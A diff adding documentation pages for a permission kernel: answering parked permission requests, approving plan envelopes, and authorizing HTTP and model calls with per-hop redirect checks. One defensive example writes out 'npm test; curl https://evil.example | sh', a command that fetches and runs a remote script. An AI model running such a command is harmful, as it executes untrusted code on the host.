nested `reason._tag` on `PlatformError` and `HttpClientError`, and a bare
|
|
132
|
+
`_tag` on a thrown tagged value.
|
|
133
|
+
|
|
134
|
+
The suite asserts that every tag on the closed list resolves, that every
|
|
135
|
+
filesystem operation is declared one way or the other, that the spawner
|
|
136
|
+
executes, streams, honours options, and is observably interruptible, and that
|
|
137
|
+
the HTTP client executes a read, a write, and a **manual** redirect. That last
|
|
138
|
+
one matters: a host that follows redirects on its own defeats the kernel's
|
|
139
|
+
per-hop check, and the contract is where it gets caught.
|
|
140
|
+
|
|
141
|
+
Declare defaults rather than overriding them where you can. A default nobody
|
|
142
|
+
runs is a default nobody has checked.
|
|
143
|
+
|
|
144
|
+
## Related
|
|
145
|
+
|
|
146
|
+
- [Filesystem confinement](../concepts/filesystem-confinement.md): why the
|
|
147
|
+
extension is not optional.
|
|
148
|
+
- [Testing](../testing.md): the rest of what this package ships for tests.
|
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: "Answer permission requests"
|
|
3
|
+
description: "Run an attended GrantStore: read the parked requests, show an operator what each one asks for, reply with once, run, remembered, or deny, and approve a whole plan with an envelope."
|
|
4
|
+
sidebar:
|
|
5
|
+
order: 3
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
An attended store parks the asking fiber instead of refusing it. This guide is
|
|
9
|
+
for the code on the other side of that park: the control plane, the CLI
|
|
10
|
+
prompt, or the test that answers.
|
|
11
|
+
|
|
12
|
+
## Hold the store, not just the layer
|
|
13
|
+
|
|
14
|
+
To reply you need the service itself, so build it with `GrantStore.make` and
|
|
15
|
+
provide it to the guarded host:
|
|
16
|
+
|
|
17
|
+
```ts
|
|
18
|
+
import { GrantStore, HostServices } from "@smthrs/kernel"
|
|
19
|
+
import { Effect } from "effect"
|
|
20
|
+
|
|
21
|
+
const withAttendedHost = Effect.gen(function*() {
|
|
22
|
+
// `attended` defaults to true. `runId` and `planDigest` scope the grants.
|
|
23
|
+
const store = yield* GrantStore.make({ runId: "run-1", planDigest: "plan-abc" })
|
|
24
|
+
|
|
25
|
+
return yield* work.pipe(
|
|
26
|
+
Effect.provide(HostServices.layer),
|
|
27
|
+
Effect.provideService(GrantStore.GrantStore, store)
|
|
28
|
+
)
|
|
29
|
+
}).pipe(Effect.scoped)
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
The store is scoped. Closing its scope rejects every waiter with
|
|
33
|
+
`permission_denied` and the reason `"grant store closed"`, and every later call
|
|
34
|
+
fails with `store_closed`. Nothing is left hanging.
|
|
35
|
+
|
|
36
|
+
## Read what is parked
|
|
37
|
+
|
|
38
|
+
`store.list` is a frozen snapshot of the pending requests:
|
|
39
|
+
|
|
40
|
+
```ts
|
|
41
|
+
const requests = yield * store.list
|
|
42
|
+
// [{ requestId, capability, tier, meta }]
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
| Field | What to show |
|
|
46
|
+
| ------------ | -------------------------------------------------------------------------------------------------------------------------------------- |
|
|
47
|
+
| `requestId` | The handle you reply with. Not for display. |
|
|
48
|
+
| `capability` | The action and the exact resource. This is what the operator is approving. |
|
|
49
|
+
| `tier` | `sealed`, `compensable`, or `irreversible`: what re-running the operation would cost. Show it. |
|
|
50
|
+
| `meta` | Display metadata the decorator attached. For a spawn, `cwd` and the **names** of overridden environment variables. Never their values. |
|
|
51
|
+
|
|
52
|
+
Show the resource verbatim. It is the exact string that will be matched, and
|
|
53
|
+
the difference between `/workspace/src` and `/workspace/src/../..` is the whole
|
|
54
|
+
decision.
|
|
55
|
+
|
|
56
|
+
## Reply
|
|
57
|
+
|
|
58
|
+
```ts
|
|
59
|
+
yield * store.reply(request.requestId, "once")
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
| Resolution | Use it when |
|
|
63
|
+
| ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
|
64
|
+
| `once` | This one operation, nothing more. Adds no rule. |
|
|
65
|
+
| `run` | Everything like it for the rest of this run. Requires a `planDigest` on the store; without one the reply fails with `invalid_resolution` and `"run grants require a plan digest"`. |
|
|
66
|
+
| `remembered` | Everything like it, now and in later processes, once a journal-backed store is persisting. |
|
|
67
|
+
| `deny` | Refuse. The parked fiber fails with `permission_denied` and the reason `"permission request denied"`. |
|
|
68
|
+
|
|
69
|
+
For `run` and `remembered` you may pass a third argument, an explicit
|
|
70
|
+
`CapabilityPattern`, to say what "everything like it" means:
|
|
71
|
+
|
|
72
|
+
```ts
|
|
73
|
+
yield * store.reply(
|
|
74
|
+
request.requestId,
|
|
75
|
+
"run",
|
|
76
|
+
new Capability.CapabilityPattern({ action: "fs:read", resource: "/workspace/src/**" })
|
|
77
|
+
)
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
Without one, the pattern is derived from the exact capability. A resource that
|
|
81
|
+
contains glob metacharacters has no unambiguous derived pattern, so the reply
|
|
82
|
+
fails and tells you to supply one or resolve `once`.
|
|
83
|
+
|
|
84
|
+
A supplied pattern is checked before it is stored. It cannot name a different
|
|
85
|
+
action, reach a more dangerous effect tier than the request displayed, or be a
|
|
86
|
+
wildcard-bearing pattern identical to the resource; any of those fails with
|
|
87
|
+
`invalid_resolution` and `"grant pattern exceeds the requested authority"`.
|
|
88
|
+
|
|
89
|
+
Adding a rule wakes every other parked request the new rule now allows, so one
|
|
90
|
+
`run` grant for `/workspace/**` clears the queue behind it instead of asking
|
|
91
|
+
once per file.
|
|
92
|
+
|
|
93
|
+
## Approve a whole plan at once
|
|
94
|
+
|
|
95
|
+
A per-operation prompt is the wrong shape when a plan already declared what it
|
|
96
|
+
needs. `grantEnvelope` approves the whole set before the work starts:
|
|
97
|
+
|
|
98
|
+
```ts
|
|
99
|
+
yield * store.grantEnvelope({
|
|
100
|
+
planDigest: "plan-abc",
|
|
101
|
+
scope: "run",
|
|
102
|
+
patterns: [
|
|
103
|
+
new Capability.CapabilityPattern({ action: "fs:read", resource: "/workspace/**" }),
|
|
104
|
+
new Capability.CapabilityPattern({ action: "proc:spawn", resource: "npm test" })
|
|
105
|
+
]
|
|
106
|
+
})
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
Grant commands exactly. A `*` in a `proc:spawn` resource matches any text,
|
|
110
|
+
including `;` and line breaks. A `shell: true` line with control syntax is
|
|
111
|
+
checked as `sh -c '<line>'`, and every pipeline stage is checked on its own,
|
|
112
|
+
so `npm test*` approves neither `npm test; curl https://evil.example | sh` nor
|
|
113
|
+
the `sh` stage of a pipeline. It still approves `npm test --watch` and any
|
|
114
|
+
other argument list.
|
|
115
|
+
|
|
116
|
+
An envelope is a set, not a sequence. Its patterns are deduplicated and sorted
|
|
117
|
+
before anything is stored, so approving the same predicates in a different
|
|
118
|
+
order is the same approval and the repeat is a no-op rather than a second
|
|
119
|
+
durable record. `GrantStore.envelopeSignature(planDigest, scope, patterns)`
|
|
120
|
+
computes that identity if you need to compare envelopes yourself.
|
|
121
|
+
|
|
122
|
+
`scope` is `"run"` (the default) or `"remembered"`. Envelope patterns must
|
|
123
|
+
preserve exact action and filesystem effect-tier boundaries, so an envelope
|
|
124
|
+
cannot turn a read approval into a write one.
|
|
125
|
+
|
|
126
|
+
A store can also be constructed with an envelope already approved, through
|
|
127
|
+
`MakeOptions.envelope`, and told which signatures are already durable through
|
|
128
|
+
`MakeOptions.envelopeSignatures`. A construction envelope whose signature is
|
|
129
|
+
already seeded still activates its rules but is not persisted again.
|
|
130
|
+
|
|
131
|
+
## Errors you can get back
|
|
132
|
+
|
|
133
|
+
`reply` and `grantEnvelope` fail with a `GrantStoreError`. The in-memory store
|
|
134
|
+
raises four codes:
|
|
135
|
+
|
|
136
|
+
| Code | Cause |
|
|
137
|
+
| -------------------- | ------------------------------------------------------------------------------------------------------------------------ |
|
|
138
|
+
| `request_not_found` | No request with that id is parked. It was already answered, or the store was rebuilt. |
|
|
139
|
+
| `store_closed` | The store's scope has closed. |
|
|
140
|
+
| `invalid_resolution` | An unknown resolution, a pattern that exceeds the request, a missing plan digest for a `run` grant, or a bound exceeded. |
|
|
141
|
+
| `journal_failed` | Only from `JournalGrantStore`: the decision could not be persisted, so it was not activated. |
|
|
142
|
+
|
|
143
|
+
`GrantStoreErrorCode` also includes `duplicate_request`, which an attended
|
|
144
|
+
surface of your own may use; the kernel's in-memory store does not raise it.
|
|
145
|
+
|
|
146
|
+
## Related
|
|
147
|
+
|
|
148
|
+
- [How a grant decision is made](../concepts/grant-decisions.md): what turns
|
|
149
|
+
into a parked request in the first place.
|
|
150
|
+
- [Persist grants across restarts](./persist-grants-across-restarts.md): make
|
|
151
|
+
`remembered` mean something after the process exits.
|
|
@@ -0,0 +1,118 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: "Authorize network and model calls"
|
|
3
|
+
description: "How the HTTP decorator names a request as a capability: the method-to-action mapping, the implicit https scheme, per-hop redirect checks, and marking a request as a model call."
|
|
4
|
+
sidebar:
|
|
5
|
+
order: 5
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
Network access is Effect's `HttpClient`, and the kernel decorates it. There is
|
|
9
|
+
no Smithers transport port beneath it, because a raw port would be a second way
|
|
10
|
+
to reach the network whose contract never mentions permission.
|
|
11
|
+
|
|
12
|
+
## What a request is checked as
|
|
13
|
+
|
|
14
|
+
The decorator derives one capability per request:
|
|
15
|
+
|
|
16
|
+
| Request | Action |
|
|
17
|
+
| --------------------------------- | ------------ |
|
|
18
|
+
| `GET` or `HEAD` | `net:get` |
|
|
19
|
+
| Every other method | `net:post` |
|
|
20
|
+
| Any method inside `withModelCall` | `model:call` |
|
|
21
|
+
|
|
22
|
+
The resource is the URL host, and the scheme decides how it is written:
|
|
23
|
+
|
|
24
|
+
- For an `https:` URL, the resource is the **lowercased host** alone:
|
|
25
|
+
`https://API.Example.test/v1/x` names `api.example.test`.
|
|
26
|
+
- For every other scheme, the resource is `<scheme>//<lowercased host>`:
|
|
27
|
+
`http://API.Example.test/x` names `http://api.example.test`.
|
|
28
|
+
|
|
29
|
+
`https` is therefore the implicit scheme, and a grant for `api.example.test`
|
|
30
|
+
can never authorize a cleartext `http` downgrade to the same host. The path,
|
|
31
|
+
the query, and the headers are not part of the resource.
|
|
32
|
+
|
|
33
|
+
A URL that is not absolute and parseable fails with `permission_denied` and
|
|
34
|
+
the reason `"HTTP capability checks require an absolute, parseable URL"`.
|
|
35
|
+
|
|
36
|
+
## Mark a model call
|
|
37
|
+
|
|
38
|
+
The same host answers many models, and a grant for one must not be a grant for
|
|
39
|
+
the rest. Effect's tag has no room for an extra method, so the intent rides on
|
|
40
|
+
a context reference:
|
|
41
|
+
|
|
42
|
+
```ts
|
|
43
|
+
import { HttpClient } from "@smthrs/kernel"
|
|
44
|
+
|
|
45
|
+
const call = provider.chat(request).pipe(
|
|
46
|
+
HttpClient.withModelCall("anthropic:claude-sonnet-4-5")
|
|
47
|
+
)
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
Every outgoing request inside `call` is checked as `model:call` on
|
|
51
|
+
`<resource>/<model id>`, so the example asks for
|
|
52
|
+
`api.anthropic.com/anthropic:claude-sonnet-4-5` rather than for the host in
|
|
53
|
+
general. The reference is `HttpClient.ModelCall` if you need to read it.
|
|
54
|
+
|
|
55
|
+
## Every redirect hop is checked
|
|
56
|
+
|
|
57
|
+
A redirect is a second network destination, so it needs a second grant check.
|
|
58
|
+
Two halves guarantee it:
|
|
59
|
+
|
|
60
|
+
1. The client below the decorator must **not** follow redirects on its own:
|
|
61
|
+
Undici with no redirect interceptor, or Effect's fetch layer with
|
|
62
|
+
`redirect: "manual"`. The decorator forces `redirect: "manual"` on the
|
|
63
|
+
`RequestInit` of every request it executes, so a plain
|
|
64
|
+
`FetchHttpClient.layer` cannot walk to another origin either. A custom
|
|
65
|
+
client that ignores `RequestInit` must meet the precondition itself.
|
|
66
|
+
2. By default, the decorator composes Effect's `followRedirects` **above** the guard, so
|
|
67
|
+
every hop re-enters the guarded path and is checked exactly like hop zero.
|
|
68
|
+
|
|
69
|
+
An authorized origin cannot lend its grant to another.
|
|
70
|
+
|
|
71
|
+
To handle redirects yourself, provide `FetchHttpClient.RequestInit` with
|
|
72
|
+
`redirect: "manual"` around the guarded request. It returns the first hop's
|
|
73
|
+
response without contacting the redirect target. Your loop owns the hop
|
|
74
|
+
limit, and each subsequent request through the guarded client receives its
|
|
75
|
+
own grant check. Other request options are preserved. A manual setting
|
|
76
|
+
provided privately to the raw host client only prevents transport-level
|
|
77
|
+
redirects; the guarded client still follows redirects by default.
|
|
78
|
+
|
|
79
|
+
## Read a refusal back
|
|
80
|
+
|
|
81
|
+
Effect's tag fixes the error channel to `HttpClientError`, so a refusal arrives
|
|
82
|
+
projected. The reason is always a `TransportError`: the request did not leave
|
|
83
|
+
the host. `description` carries the human rendering, and `cause` carries the
|
|
84
|
+
structured kernel failure:
|
|
85
|
+
|
|
86
|
+
```ts
|
|
87
|
+
import { HttpClient } from "@smthrs/kernel"
|
|
88
|
+
import { Option } from "effect"
|
|
89
|
+
|
|
90
|
+
const permission = HttpClient.fromHttpClientError(failure)
|
|
91
|
+
// Option.some({ code, capability, tier, requestId, ... })
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
`Option.none()` means the failure was a genuine transport problem, not a
|
|
95
|
+
permission decision.
|
|
96
|
+
|
|
97
|
+
## Requests are snapshotted
|
|
98
|
+
|
|
99
|
+
A request record a caller still holds is a way to change the destination after
|
|
100
|
+
it was authorized. The decorator snapshots the URL parameters, the headers, and
|
|
101
|
+
the body, copying byte buffers and form data, before any permission suspension.
|
|
102
|
+
A body that is neither immutable nor copyable fails with
|
|
103
|
+
`"HTTP request must be an immutable supported request description"`.
|
|
104
|
+
|
|
105
|
+
## Hosts with no network
|
|
106
|
+
|
|
107
|
+
`HttpClient.layerNoop()` provides a client whose every request fails with a
|
|
108
|
+
`TransportError` naming the request and the cause
|
|
109
|
+
`"HTTP is unavailable on this host"`. Use it for a host that genuinely cannot
|
|
110
|
+
reach the network, so an unconfigured capability answers rather than vanishing.
|
|
111
|
+
`@smthrs/testing/TestHost` composes it.
|
|
112
|
+
|
|
113
|
+
## Related
|
|
114
|
+
|
|
115
|
+
- [Write a capability policy](./write-a-capability-policy.md): naming hosts and
|
|
116
|
+
models in rules.
|
|
117
|
+
- [Decoration in place](../concepts/decoration-in-place.md): why the error is
|
|
118
|
+
projected rather than widened.
|